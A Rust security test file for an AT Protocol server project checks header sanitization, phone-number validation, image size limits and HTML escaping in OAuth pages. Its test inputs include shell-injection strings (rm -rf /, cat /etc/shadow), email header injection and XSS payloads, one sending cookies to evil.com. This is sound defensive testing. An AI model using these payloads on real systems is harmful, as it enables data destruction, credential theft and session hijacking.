this repo has no description
1mod common; 2use bspds::notifications::{ 3 SendError, is_valid_phone_number, sanitize_header_value, 4}; 5use bspds::oauth::templates::{login_page, error_page, success_page}; 6use bspds::image::{ImageProcessor, ImageError}; 7#[test] 8fn test_sanitize_header_value_removes_crlf() { 9 let malicious = "Injected\r\nBcc: attacker@evil.com"; 10 let sanitized = sanitize_header_value(malicious); 11 assert!(!sanitized.contains('\r'), "CR should be removed"); 12 assert!(!sanitized.contains('\n'), "LF should be removed"); 13 assert!(sanitized.contains("Injected"), "Original content should be preserved"); 14 assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)"); 15} 16#[test] 17fn test_sanitize_header_value_preserves_content() { 18 let normal = "Normal Subject Line"; 19 let sanitized = sanitize_header_value(normal); 20 assert_eq!(sanitized, "Normal Subject Line"); 21} 22#[test] 23fn test_sanitize_header_value_trims_whitespace() { 24 let padded = " Subject "; 25 let sanitized = sanitize_header_value(padded); 26 assert_eq!(sanitized, "Subject"); 27} 28#[test] 29fn test_sanitize_header_value_handles_multiple_newlines() { 30 let input = "Line1\r\nLine2\nLine3\rLine4"; 31 let sanitized = sanitize_header_value(input); 32 assert!(!sanitized.contains('\r'), "CR should be removed"); 33 assert!(!sanitized.contains('\n'), "LF should be removed"); 34 assert!(sanitized.contains("Line1"), "Content before newlines preserved"); 35 assert!(sanitized.contains("Line4"), "Content after newlines preserved"); 36} 37#[test] 38fn test_email_header_injection_sanitization() { 39 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value"; 40 let sanitized = sanitize_header_value(header_injection); 41 let lines: Vec<&str> = sanitized.split("\r\n").collect(); 42 assert_eq!(lines.len(), 1, "Should be a single line after sanitization"); 43 assert!(sanitized.contains("Normal Subject"), "Original content preserved"); 44 assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text"); 45 assert!(sanitized.contains("X-Injected:"), "All content on same line"); 46} 47#[test] 48fn test_valid_phone_number_accepts_correct_format() { 49 assert!(is_valid_phone_number("+1234567890")); 50 assert!(is_valid_phone_number("+12025551234")); 51 assert!(is_valid_phone_number("+442071234567")); 52 assert!(is_valid_phone_number("+4915123456789")); 53 assert!(is_valid_phone_number("+1")); 54} 55#[test] 56fn test_valid_phone_number_rejects_missing_plus() { 57 assert!(!is_valid_phone_number("1234567890")); 58 assert!(!is_valid_phone_number("12025551234")); 59} 60#[test] 61fn test_valid_phone_number_rejects_empty() { 62 assert!(!is_valid_phone_number("")); 63} 64#[test] 65fn test_valid_phone_number_rejects_just_plus() { 66 assert!(!is_valid_phone_number("+")); 67} 68#[test] 69fn test_valid_phone_number_rejects_too_long() { 70 assert!(!is_valid_phone_number("+12345678901234567890123")); 71} 72#[test] 73fn test_valid_phone_number_rejects_letters() { 74 assert!(!is_valid_phone_number("+abc123")); 75 assert!(!is_valid_phone_number("+1234abc")); 76 assert!(!is_valid_phone_number("+a")); 77} 78#[test] 79fn test_valid_phone_number_rejects_spaces() { 80 assert!(!is_valid_phone_number("+1234 5678")); 81 assert!(!is_valid_phone_number("+ 1234567890")); 82 assert!(!is_valid_phone_number("+1 ")); 83} 84#[test] 85fn test_valid_phone_number_rejects_special_chars() { 86 assert!(!is_valid_phone_number("+123-456-7890")); 87 assert!(!is_valid_phone_number("+1(234)567890")); 88 assert!(!is_valid_phone_number("+1.234.567.890")); 89} 90#[test] 91fn test_signal_recipient_command_injection_blocked() { 92 let malicious_inputs = vec![ 93 "+123; rm -rf /", 94 "+123 && cat /etc/passwd", 95 "+123`id`", 96 "+123$(whoami)", 97 "+123|cat /etc/shadow", 98 "+123\n--help", 99 "+123\r\n--version", 100 "+123--help", 101 ]; 102 for input in malicious_inputs { 103 assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input); 104 } 105} 106#[test] 107fn test_image_file_size_limit_enforced() { 108 let processor = ImageProcessor::new(); 109 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024]; 110 let result = processor.process(&oversized_data, "image/jpeg"); 111 match result { 112 Err(ImageError::FileTooLarge { .. }) => {} 113 Err(other) => { 114 let msg = format!("{:?}", other); 115 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") { 116 panic!("Expected FileTooLarge error, got: {:?}", other); 117 } 118 } 119 Ok(_) => panic!("Should reject files over size limit"), 120 } 121} 122#[test] 123fn test_image_file_size_limit_configurable() { 124 let processor = ImageProcessor::new().with_max_file_size(1024); 125 let data: Vec<u8> = vec![0u8; 2048]; 126 let result = processor.process(&data, "image/jpeg"); 127 assert!(result.is_err(), "Should reject files over configured limit"); 128} 129#[test] 130fn test_oauth_template_xss_escaping_client_id() { 131 let malicious_client_id = "<script>alert('xss')</script>"; 132 let html = login_page(malicious_client_id, None, None, "test-uri", None, None); 133 assert!(!html.contains("<script>"), "Script tags should be escaped"); 134 assert!(html.contains("&lt;script&gt;"), "HTML entities should be used for escaping"); 135} 136#[test] 137fn test_oauth_template_xss_escaping_client_name() { 138 let malicious_client_name = "<img src=x onerror=alert('xss')>"; 139 let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None); 140 assert!(!html.contains("<img "), "IMG tags should be escaped"); 141 assert!(html.contains("&lt;img"), "IMG tag should be escaped as HTML entity"); 142} 143#[test] 144fn test_oauth_template_xss_escaping_scope() { 145 let malicious_scope = "\"><script>alert('xss')</script>"; 146 let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None); 147 assert!(!html.contains("<script>"), "Script tags in scope should be escaped"); 148} 149#[test] 150fn test_oauth_template_xss_escaping_error_message() { 151 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>"; 152 let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None); 153 assert!(!html.contains("<script>"), "Script tags in error should be escaped"); 154} 155#[test] 156fn test_oauth_template_xss_escaping_login_hint() { 157 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\""; 158 let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint)); 159 assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint"); 160 assert!(html.contains("&quot;"), "Quotes should be escaped"); 161} 162#[test] 163fn test_oauth_template_xss_escaping_request_uri() { 164 let malicious_uri = "\" onmouseover=\"alert('xss')\""; 165 let html = login_page("client123", None, None, malicious_uri, None, None); 166 assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri"); 167} 168#[test] 169fn test_oauth_error_page_xss_escaping() { 170 let malicious_error = "<script>steal()</script>"; 171 let malicious_desc = "<img src=x onerror=evil()>"; 172 let html = error_page(malicious_error, Some(malicious_desc)); 173 assert!(!html.contains("<script>"), "Script tags should be escaped in error page"); 174 assert!(!html.contains("<img "), "IMG tags should be escaped in error page"); 175} 176#[test] 177fn test_oauth_success_page_xss_escaping() { 178 let malicious_name = "<script>steal_session()</script>"; 179 let html = success_page(Some(malicious_name)); 180 assert!(!html.contains("<script>"), "Script tags should be escaped in success page"); 181} 182#[test] 183fn test_oauth_template_no_javascript_urls() { 184 let html = login_page("client123", None, None, "test-uri", None, None); 185 assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs"); 186 let error_html = error_page("test_error", None); 187 assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs"); 188 let success_html = success_page(None); 189 assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs"); 190} 191#[test] 192fn test_oauth_template_form_action_safe() { 193 let malicious_uri = "javascript:alert('xss')//"; 194 let html = login_page("client123", None, None, malicious_uri, None, None); 195 assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL"); 196} 197#[test] 198fn test_send_error_types_have_display() { 199 let timeout = SendError::Timeout; 200 let max_retries = SendError::MaxRetriesExceeded("test".to_string()); 201 let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string()); 202 assert!(!format!("{}", timeout).is_empty()); 203 assert!(!format!("{}", max_retries).is_empty()); 204 assert!(!format!("{}", invalid_recipient).is_empty()); 205} 206#[test] 207fn test_send_error_timeout_message() { 208 let error = SendError::Timeout; 209 let msg = format!("{}", error); 210 assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout"); 211} 212#[test] 213fn test_send_error_max_retries_includes_detail() { 214 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string()); 215 let msg = format!("{}", error); 216 assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context"); 217} 218#[tokio::test] 219async fn test_check_signup_queue_accepts_session_jwt() { 220 use common::{base_url, client, create_account_and_login}; 221 let base = base_url().await; 222 let http_client = client(); 223 let (token, _did) = create_account_and_login(&http_client).await; 224 let res = http_client 225 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 226 .header("Authorization", format!("Bearer {}", token)) 227 .send() 228 .await 229 .unwrap(); 230 assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted"); 231 let body: serde_json::Value = res.json().await.unwrap(); 232 assert_eq!(body["activated"], true); 233} 234#[tokio::test] 235async fn test_check_signup_queue_no_auth() { 236 use common::{base_url, client}; 237 let base = base_url().await; 238 let http_client = client(); 239 let res = http_client 240 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 241 .send() 242 .await 243 .unwrap(); 244 assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work"); 245 let body: serde_json::Value = res.json().await.unwrap(); 246 assert_eq!(body["activated"], true); 247} 248#[test] 249fn test_html_escape_ampersand() { 250 let html = login_page("client&test", None, None, "test-uri", None, None); 251 assert!(html.contains("&amp;"), "Ampersand should be escaped"); 252 assert!(!html.contains("client&test"), "Raw ampersand should not appear in output"); 253} 254#[test] 255fn test_html_escape_quotes() { 256 let html = login_page("client\"test'more", None, None, "test-uri", None, None); 257 assert!(html.contains("&quot;") || html.contains("&#34;"), "Double quotes should be escaped"); 258 assert!(html.contains("&#39;") || html.contains("&apos;"), "Single quotes should be escaped"); 259} 260#[test] 261fn test_html_escape_angle_brackets() { 262 let html = login_page("client<test>more", None, None, "test-uri", None, None); 263 assert!(html.contains("&lt;"), "Less than should be escaped"); 264 assert!(html.contains("&gt;"), "Greater than should be escaped"); 265 assert!(!html.contains("<test>"), "Raw angle brackets should not appear"); 266} 267#[test] 268fn test_oauth_template_preserves_safe_content() { 269 let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com")); 270 assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved"); 271 assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved"); 272 assert!(html.contains("user@example.com"), "Login hint should be preserved"); 273} 274#[test] 275fn test_csrf_like_input_value_protection() { 276 let malicious = "\" onclick=\"alert('csrf')"; 277 let html = login_page("client", None, None, malicious, None, None); 278 assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable"); 279} 280#[test] 281fn test_unicode_handling_in_templates() { 282 let unicode_client = "客户端 クライアント"; 283 let html = login_page(unicode_client, None, None, "test-uri", None, None); 284 assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded"); 285} 286#[test] 287fn test_null_byte_in_input() { 288 let with_null = "client\0id"; 289 let sanitized = sanitize_header_value(with_null); 290 assert!(sanitized.contains("client"), "Content before null should be preserved"); 291} 292#[test] 293fn test_very_long_input_handling() { 294 let long_input = "x".repeat(10000); 295 let sanitized = sanitize_header_value(&long_input); 296 assert!(!sanitized.is_empty(), "Long input should still produce output"); 297}